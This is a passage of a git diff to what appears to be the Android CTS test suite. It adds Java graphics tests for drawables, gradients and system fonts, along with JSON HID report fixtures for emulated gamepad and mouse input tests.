+        ByteBuffer byteBuffer = ByteBuffer.allocateDirect(array.length);
+        byteBuffer.put(array);
+        byteBuffer.position(0);
+        return byteBuffer;
+    }
+
+    private AnimatedImageDrawable createFromByteBuffer(ByteBuffer byteBuffer) {
+        ImageDecoder.Source src = ImageDecoder.createSource(byteBuffer);
+        try {
+            return (AnimatedImageDrawable) ImageDecoder.decodeDrawable(src);
+        } catch (IOException e) {
+            fail("Failed to create decoder: " + e);
+            return null;
+        }
+    }
+
+    @Test
+    public void testByteBuffer() throws Throwable {
+        // Natively, this tests ByteArrayStream.
+        byte[] array = getAsByteArray();
+        ByteBuffer byteBuffer = ByteBuffer.wrap(array);
+        final AnimatedImageDrawable drawable = createFromByteBuffer(byteBuffer);
+        decodeInBackground(drawable);
+    }
+
+    @Test
+    public void testReadOnlyByteBuffer() throws Throwable {
+        // Natively, this tests ByteBufferStream.
+        byte[] array = getAsByteArray();
+        ByteBuffer byteBuffer = ByteBuffer.wrap(array).asReadOnlyBuffer();
+        final AnimatedImageDrawable drawable = createFromByteBuffer(byteBuffer);
+        decodeInBackground(drawable);
+    }
+
+    @Test
+    public void testDirectByteBuffer() throws Throwable {
+        ByteBuffer byteBuffer = getAsDirectByteBuffer();
+        final AnimatedImageDrawable drawable = createFromByteBuffer(byteBuffer);
+        decodeInBackground(drawable);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
index 5b4ec32..a230a9e 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
@@ -411,6 +411,15 @@
         wrapper.getConstantState();
     }
 
+    @Test
+    public void testJumpToCurrentStateInvoked() {
+        MockDrawable inner = new MockDrawable();
+        DrawableWrapper wrapper = new MockDrawableWrapper(inner);
+
+        wrapper.jumpToCurrentState();
+        assertTrue(inner.isJumpToCurrentStateInvoked());
+    }
+
     // Since Mockito can't mock or spy on protected methods, we have a custom extension
     // of Drawable to track calls to protected methods. This class also has empty implementations
     // of the base abstract methods.
@@ -419,6 +428,17 @@
         private ColorFilter mColorFilter;
         private Insets mInsets = null;
 
+        private boolean mJumpToCurrentStateInvoked = false;
+
+        public boolean isJumpToCurrentStateInvoked() {
+            return mJumpToCurrentStateInvoked;
+        }
+
+        @Override
+        public void jumpToCurrentState() {
+            mJumpToCurrentStateInvoked = true;
+        }
+
         @Override
         public void draw(Canvas canvas) {
         }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
index 8650f00..cfb3af6 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
@@ -34,6 +34,7 @@
 import android.graphics.ColorFilter;
 import android.graphics.Insets;
 import android.graphics.PixelFormat;
+import android.graphics.PorterDuff;
 import android.graphics.Rect;
 import android.graphics.cts.R;
 import android.graphics.drawable.Drawable.ConstantState;
@@ -48,6 +49,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
@@ -718,7 +720,6 @@
 
         GradientDrawable drawable = (GradientDrawable)
                 context.getDrawable(R.drawable.gradientdrawable_mix_theme);
-
         // Verify that despite multiple inflation passes are done to inflate both
         // the non-theme attributes as well as the themed attributes
         assertEquals(GradientDrawable.RADIAL_GRADIENT, drawable.getGradientType());
@@ -744,10 +745,72 @@
 
     @Test
     public void testGradientNegativeAngle() {
+        verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle,
+                Orientation.TOP_BOTTOM);
+        verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_45,
+                Orientation.TL_BR);
+        verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_90,
+                Orientation.TOP_BOTTOM);
+        verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_135,
+                Orientation.TR_BL);
+        verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_180,
+                Orientation.RIGHT_LEFT);
+        verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_225,
+                Orientation.BR_TL);
+        verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_270,
+                Orientation.BOTTOM_TOP);
+        verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_315,
+                Orientation.BL_TR);
+        verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_360,
+                Orientation.LEFT_RIGHT);
+    }
+
+    @Test
+    public void testTintedStrokeWithoutSolidColor() {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        GradientDrawable strokeDrawable = (GradientDrawable)
+                context.getDrawable(R.drawable.gradientdrawable_stroke_tint);
+        int bgColor = context.getColor(android.R.color.holo_blue_light);
+        int tintColor = context.getColor(android.R.color.holo_orange_light);
+        int width = 100;
+        int height = 100;
+        Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(bitmap);
+        canvas.drawColor(bgColor);
+        strokeDrawable.setTint(tintColor);
+        strokeDrawable.setTintMode(PorterDuff.Mode.MULTIPLY);
+        strokeDrawable.setBounds(0, 0, width, height);
+        strokeDrawable.draw(canvas);
+
+        assertEquals(bitmap.getPixel(width / 2, height / 2), bgColor);
+        assertEquals(bitmap.getPixel(2, height / 2), tintColor);
+    }
+
+    private void verifyGradientOrientation(int resId, Orientation expected) {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        assertEquals(expected,
+                ((GradientDrawable) context.getDrawable(resId)).getOrientation());
+    }
+
+    @Ignore("Disabling temporarily while actual fix to maintain behavioral differences of "
+            + "orientation xml and programmatically defined GradientDrawables")
+    @Test
+    public void testGradientNoAngle() {
+        // Verify that the default orientation for a GradientDrawable defined in xml is
+        // LEFT_RIGHT. This differs from the default behavior of programmatically defined
+        // GradientDrawables
         final Context context = InstrumentationRegistry.getTargetContext();
         GradientDrawable drawable = (GradientDrawable)
-                context.getDrawable(R.drawable.gradientdrawable_negative_angle);
-        assertEquals(Orientation.TOP_BOTTOM, drawable.getOrientation());
+                context.getDrawable(R.drawable.gradientdrawable_no_angle);
+        assertEquals(Orientation.LEFT_RIGHT, drawable.getOrientation());
+    }
+
+    @Test
+    public void testDynamicGradientDefaultOrientation() {
+        // Verify that the default orientation for a programmatically defined GradientDrawable is
+        // TOP_BOTTOM. This differs from the default behavior of xml inflated GradientDrawables
+        // that default to LEFT_RIGHT
+        assertEquals(Orientation.TOP_BOTTOM, new GradientDrawable().getOrientation());
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
index 87b8da2..9f9d603 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
@@ -16,11 +16,13 @@
 
 package android.graphics.fonts;
 
+import android.os.LocaleList;
 import android.util.Pair;
 
 import java.io.File;
-import java.io.IOException;
+import java.util.Arrays;
 import java.util.HashSet;
+import java.util.Objects;
 import java.util.Set;
 
 public class NativeSystemFontHelper {
@@ -28,6 +30,53 @@
         System.loadLibrary("ctsgraphics_jni");
     }
 
+    /**
+     *  Helper class for representing the system font obtained in native code.
+     */
+    public static class FontDescriptor {
+        String mFilePath;
+        int mWeight;
+        int mSlant;
+        int mIndex;
+        FontVariationAxis[] mAxes;
+        LocaleList mLocale;
+
+        @Override
+        public boolean equals(Object o) {
+            if (o == this) {
+                return true;
+            }
+            if (o == null || !(o instanceof FontDescriptor)) {
+                return false;
+            }
+            FontDescriptor f = (FontDescriptor) o;
+            return f.mFilePath.equals(mFilePath)
+                && f.mWeight == mWeight
+                && f.mSlant == mSlant
+                && f.mIndex == mIndex
+                && Arrays.equals(f.mAxes, mAxes)
+                && Objects.equals(f.mLocale, mLocale);
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(mFilePath, mWeight, mSlant, mIndex, Arrays.hashCode(mAxes),
+                mLocale);
+        }
+
+        @Override
+        public String toString() {
+            return "Font {"
+                + " path = " + mFilePath
+                + " weight = " + mWeight
+                + " slant = " + mSlant
+                + " index = " + mIndex
+                + " axes = " + FontVariationAxis.toFontVariationSettings(mAxes)
+                + " locale = " + mLocale
+                + "}";
+        }
+    }
+
     private static String tagToStr(int tag) {
         char[] buf = new char[4];
         buf[0] = (char) ((tag >> 24) & 0xFF);
@@ -37,26 +86,25 @@
         return String.valueOf(buf);
     }
 
-    public static Set<Font> getAvailableFonts() {
+    public static Set<FontDescriptor> getAvailableFonts() {
         long iterPtr = nOpenIterator();
-        HashSet<Font> nativeFonts = new HashSet<>();
+        HashSet<FontDescriptor> nativeFonts = new HashSet<>();
         try {
             for (long fontPtr = nNext(iterPtr); fontPtr != 0; fontPtr = nNext(iterPtr)) {
                 try {
-                    FontVariationAxis[] axes = new FontVariationAxis[nGetAxisCount(fontPtr)];
-                    for (int i = 0; i < axes.length; ++i) {
-                        axes[i] = new FontVariationAxis(
-                                tagToStr(nGetAxisTag(fontPtr, i)), nGetAxisValue(fontPtr, i));
+                    FontDescriptor font = new FontDescriptor();
+                    font.mFilePath = nGetFilePath(fontPtr);
+                    font.mWeight = nGetWeight(fontPtr);
+                    font.mSlant = nIsItalic(fontPtr)
+                        ? FontStyle.FONT_SLANT_ITALIC : FontStyle.FONT_SLANT_UPRIGHT;
+                    font.mIndex = nGetCollectionIndex(fontPtr);
+                    font.mAxes = new FontVariationAxis[nGetAxisCount(fontPtr)];
+                    for (int i = 0; i < font.mAxes.length; ++i) {
+                        font.mAxes[i] = new FontVariationAxis(
+                            tagToStr(nGetAxisTag(fontPtr, i)), nGetAxisValue(fontPtr, i));
                     }
-                    nativeFonts.add(new Font.Builder(new File(nGetFilePath(fontPtr)))
-                            .setWeight(nGetWeight(fontPtr))
-                            .setSlant(nIsItalic(fontPtr)
-                                    ?  FontStyle.FONT_SLANT_ITALIC : FontStyle.FONT_SLANT_UPRIGHT)
-                            .setTtcIndex(nGetCollectionIndex(fontPtr))
-                            .setFontVariationSettings(axes)
-                            .build());
-                } catch (IOException e) {
-                    throw new RuntimeException(e);
+                    font.mLocale = LocaleList.forLanguageTags(nGetLocale(fontPtr));
+                    nativeFonts.add(font);
                 } finally {
                     nCloseFont(fontPtr);
                 }
diff --git a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
index 9f39ed4..de6ab63 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
@@ -29,24 +29,43 @@
 import org.junit.runner.RunWith;
 
 import java.io.File;
+import java.util.HashSet;
 import java.util.Set;
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class NativeSystemFontTest {
 
+    public Set<NativeSystemFontHelper.FontDescriptor> convertToDescriptors(Set<Font> fonts) {
+        HashSet<NativeSystemFontHelper.FontDescriptor> out = new HashSet<>();
+        for (Font f : fonts) {
+            NativeSystemFontHelper.FontDescriptor font =
+                    new NativeSystemFontHelper.FontDescriptor();
+            font.mFilePath = f.getFile().getAbsolutePath();
+            font.mWeight = f.getStyle().getWeight();
+            font.mSlant = f.getStyle().getSlant();
+            font.mIndex = f.getTtcIndex();
+            font.mAxes = f.getAxes();
+            font.mLocale = f.getLocaleList();
+            out.add(font);
+        }
+        return out;
+    }
+
     @Test
     public void testSameResultAsJava() {
-        Set<Font> javaFonts = SystemFonts.getAvailableFonts();
-        Set<Font> nativeFonts = NativeSystemFontHelper.getAvailableFonts();
+        Set<NativeSystemFontHelper.FontDescriptor> javaFonts =
+                convertToDescriptors(SystemFonts.getAvailableFonts());
+        Set<NativeSystemFontHelper.FontDescriptor> nativeFonts =
+                NativeSystemFontHelper.getAvailableFonts();
 
         assertEquals(javaFonts.size(), nativeFonts.size());
 
-        for (Font f : nativeFonts) {
+        for (NativeSystemFontHelper.FontDescriptor f : nativeFonts) {
             assertTrue(javaFonts.contains(f));
         }
 
-        for (Font f : javaFonts) {
+        for (NativeSystemFontHelper.FontDescriptor f : javaFonts) {
             assertTrue(nativeFonts.contains(f));
         }
     }
diff --git a/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java b/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
index f97d463..18d6758 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
@@ -48,7 +48,6 @@
     public static Collection<Object[]> getParameters() {
         ArrayList<Object[]> allParams = new ArrayList<>();
         allParams.add(new Object[] { SystemFonts.getAvailableFonts() });
-        allParams.add(new Object[] { NativeSystemFontHelper.getAvailableFonts() });
         return allParams;
     }
 
diff --git a/tests/tests/hardware/AndroidManifest.xml b/tests/tests/hardware/AndroidManifest.xml
index 7ce0cbe..4b56763 100644
--- a/tests/tests/hardware/AndroidManifest.xml
+++ b/tests/tests/hardware/AndroidManifest.xml
@@ -72,7 +72,10 @@
         </activity>
 
         <activity android:name="android.hardware.input.cts.InputCtsActivity"
-            android:label="InputCtsActivity" />
+            android:label="InputCtsActivity"
+            android:configChanges="mcc|mnc|locale|touchscreen|keyboard|keyboardHidden|navigation
+                    |screenLayout|fontScale|uiMode|orientation|density|screenSize
+                    |smallestScreenSize"/>
 
         <activity android:name="android.hardware.cts.FingerprintTestActivity"
             android:label="FingerprintTestActivity">
diff --git a/tests/tests/hardware/OWNERS b/tests/tests/hardware/OWNERS
index d376163..e6b9d59 100644
--- a/tests/tests/hardware/OWNERS
+++ b/tests/tests/hardware/OWNERS
@@ -1,2 +1,7 @@
 # Bug component: 24950
-michaelwr@google.com
\ No newline at end of file
+michaelwr@google.com
+
+# Trust that people only touch their own resources.
+per-file *.xml=*
+# Only input tests use JSON so far
+per-file *.json=svv@google.com
diff --git a/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json b/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json
index 73d77b5..e9068fe 100644
--- a/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json
+++ b/tests/tests/hardware/res/raw/asus_gamepad_keyeventtests.json
@@ -5,6 +5,7 @@
       [0x01, 0x01, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_A"},
       {"action": "UP", "keycode": "BUTTON_A"}
@@ -17,6 +18,7 @@
       [0x01, 0x02, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_B"},
       {"action": "UP", "keycode": "BUTTON_B"}
@@ -29,6 +31,7 @@
       [0x01, 0x04, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_X"},
       {"action": "UP", "keycode": "BUTTON_X"}
@@ -41,6 +44,7 @@
       [0x01, 0x08, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_Y"},
       {"action": "UP", "keycode": "BUTTON_Y"}
@@ -53,6 +57,7 @@
       [0x01, 0x10, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_L1"},
       {"action": "UP", "keycode": "BUTTON_L1"}
@@ -65,6 +70,7 @@
       [0x01, 0x20, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_R1"},
       {"action": "UP", "keycode": "BUTTON_R1"}
@@ -77,6 +83,7 @@
       [0x01, 0x40, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
       {"action": "UP", "keycode": "BUTTON_THUMBL"}
@@ -89,6 +96,7 @@
       [0x01, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
       {"action": "UP", "keycode": "BUTTON_THUMBR"}
@@ -101,6 +109,7 @@
       [0x01, 0x00, 0x81, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_MODE"},
       {"action": "UP", "keycode": "BUTTON_MODE"}
@@ -113,9 +122,10 @@
       [0x01, 0x00, 0x82, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BACK"},
       {"action": "UP", "keycode": "BACK"}
     ]
   }
-]
\ No newline at end of file
+]
diff --git a/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json b/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json
index e104040..f44d3ce2 100644
--- a/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json
+++ b/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json
@@ -15,7 +15,8 @@
       [0x01, 0x00, 0x80, 0xa0, 0xff, 0x71, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x83, 0x73, 0x71, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x83, 0x80, 0x72, 0x80, 0x00, 0x00]
-                ],
+    ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_X": 0.059, "AXIS_Y": 0.0745, "AXIS_Z": -0.106}},
       {"action": "MOVE", "axes": {"AXIS_X": 0.153, "AXIS_Y": 0.9373, "AXIS_Z": -0.106}},
@@ -31,6 +32,7 @@
       [0x01, 0x00, 0x60, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
@@ -43,6 +45,7 @@
       [0x01, 0x00, 0x20, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
@@ -55,6 +58,7 @@
       [0x01, 0x00, 0x00, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
@@ -67,6 +71,7 @@
       [0x01, 0x00, 0x40, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
@@ -81,6 +86,7 @@
       [0x01, 0x00, 0x80, 0x20, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x7a, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_X": -0.827}},
       {"action": "MOVE", "axes": {"AXIS_X": -1.0}},
@@ -97,6 +103,7 @@
       [0x01, 0x00, 0x80, 0x74, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x7f, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_X": 0.655}},
       {"action": "MOVE", "axes": {"AXIS_X": 1.0}},
@@ -116,6 +123,7 @@
       [0x01, 0x00, 0x80, 0x80, 0x4a, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Y": -0.031}},
       {"action": "MOVE", "axes": {"AXIS_Y": -0.333}},
@@ -135,6 +143,7 @@
       [0x01, 0x00, 0x80, 0x80, 0xd1, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Y": 0.184}},
       {"action": "MOVE", "axes": {"AXIS_Y": 1.0}},
@@ -152,6 +161,7 @@
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x21, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Z": -0.200}},
       {"action": "MOVE", "axes": {"AXIS_Z": -0.851}},
@@ -173,6 +183,7 @@
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x93, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x8c, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Z": 0.114}},
       {"action": "MOVE", "axes": {"AXIS_Z": 0.231}},
@@ -193,6 +204,7 @@
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x55, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_RZ": -0.239}},
       {"action": "MOVE", "axes": {"AXIS_RZ": -1.0}},
@@ -211,6 +223,7 @@
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x82, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_RZ": 0.129}},
       {"action": "MOVE", "axes": {"AXIS_RZ": 1.0}},
@@ -228,6 +241,7 @@
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x90, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.651, "AXIS_BRAKE": 0.651}},
       {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
@@ -244,6 +258,7 @@
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0xa5],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.686, "AXIS_GAS": 0.686}},
       {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
@@ -251,6 +266,4 @@
       {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0, "AXIS_GAS": 0}}
     ]
   }
-
-
-]
\ No newline at end of file
+]
diff --git a/tests/tests/hardware/res/raw/asus_gamepad_register.json b/tests/tests/hardware/res/raw/asus_gamepad_register.json
index cfd71eb..dd422a4 100644
--- a/tests/tests/hardware/res/raw/asus_gamepad_register.json
+++ b/tests/tests/hardware/res/raw/asus_gamepad_register.json
@@ -1,9 +1,9 @@
 {
   "id": 1,
   "command": "register",
-  "name": "Odie (Test)",
-  "vid": 0x18d1,
-  "pid": 0x2c40,
+  "name": "Asus Gamepad (Test)",
+  "vid": 0x0b05,
+  "pid": 0x4500,
   "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x09, 0x0a, 0x01, 0x00,
     0x0a, 0x02, 0x00, 0x0a, 0x04, 0x00, 0x0a, 0x05, 0x00, 0x0a, 0x07, 0x00, 0x0a, 0x08, 0x00,
     0x0a, 0x0e, 0x00, 0x0a, 0x0f, 0x00, 0x0a, 0x0d, 0x00, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x0a,
diff --git a/tests/tests/hardware/res/raw/microsoft_sculpttouch_motioneventtests.json b/tests/tests/hardware/res/raw/microsoft_sculpttouch_motioneventtests.json
new file mode 100644
index 0000000..cfb7d4b
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_sculpttouch_motioneventtests.json
@@ -0,0 +1,123 @@
+[
+  {
+    "name": "Left click",
+    "reports": [
+      [0x1a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "MOUSE_RELATIVE",
+    "events": [
+      {
+        "action": "DOWN",
+        "buttonState": ["PRIMARY"],
+        "axes": {"AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "BUTTON_PRESS",
+        "buttonState": ["PRIMARY"],
+        "axes": {"AXIS_PRESSURE": 1}
+      },
+      {"action": "BUTTON_RELEASE",
+        "axes": {"AXIS_PRESSURE": 0}
+      },
+      {"action": "UP",
+        "axes": {"AXIS_PRESSURE": 0}
+      }
+    ]
+  },
+  {
+    "name": "Right click",
+    "reports": [
+      [0x1a, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "MOUSE_RELATIVE",
+    "events": [
+      {
+        "action": "DOWN",
+        "buttonState": ["SECONDARY"],
+        "axes": {"AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "BUTTON_PRESS",
+        "buttonState": ["SECONDARY"],
+        "axes": {"AXIS_PRESSURE": 1}
+      },
+      {"action": "BUTTON_RELEASE",
+        "axes": {"AXIS_PRESSURE": 0}
+      },
+      {"action": "UP",
+        "axes": {"AXIS_PRESSURE": 0}
+      }
+    ]
+  },
+  {
+    "name": "Middle click",
+    "reports": [
+      [0x1a, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "MOUSE_RELATIVE",
+    "events": [
+      {
+        "action": "DOWN",
+        "buttonState": ["TERTIARY"],
+        "axes": {"AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "BUTTON_PRESS",
+        "buttonState": ["TERTIARY"],
+        "axes": {"AXIS_PRESSURE": 1}
+      },
+      {"action": "BUTTON_RELEASE",
+        "axes": {"AXIS_PRESSURE": 0}
+      },
+      {"action": "UP",
+        "axes": {"AXIS_PRESSURE": 0}
+      }
+    ]
+  },
+  {
+    "name": "Move",
+    "reports": [
+      [0x1a, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x1a, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x1a, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x1a, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00],
+      [0x1a, 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00],
+      [0x1a, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00],
+      [0x1a, 0x00, 0x00, 0xff, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "MOUSE_RELATIVE",
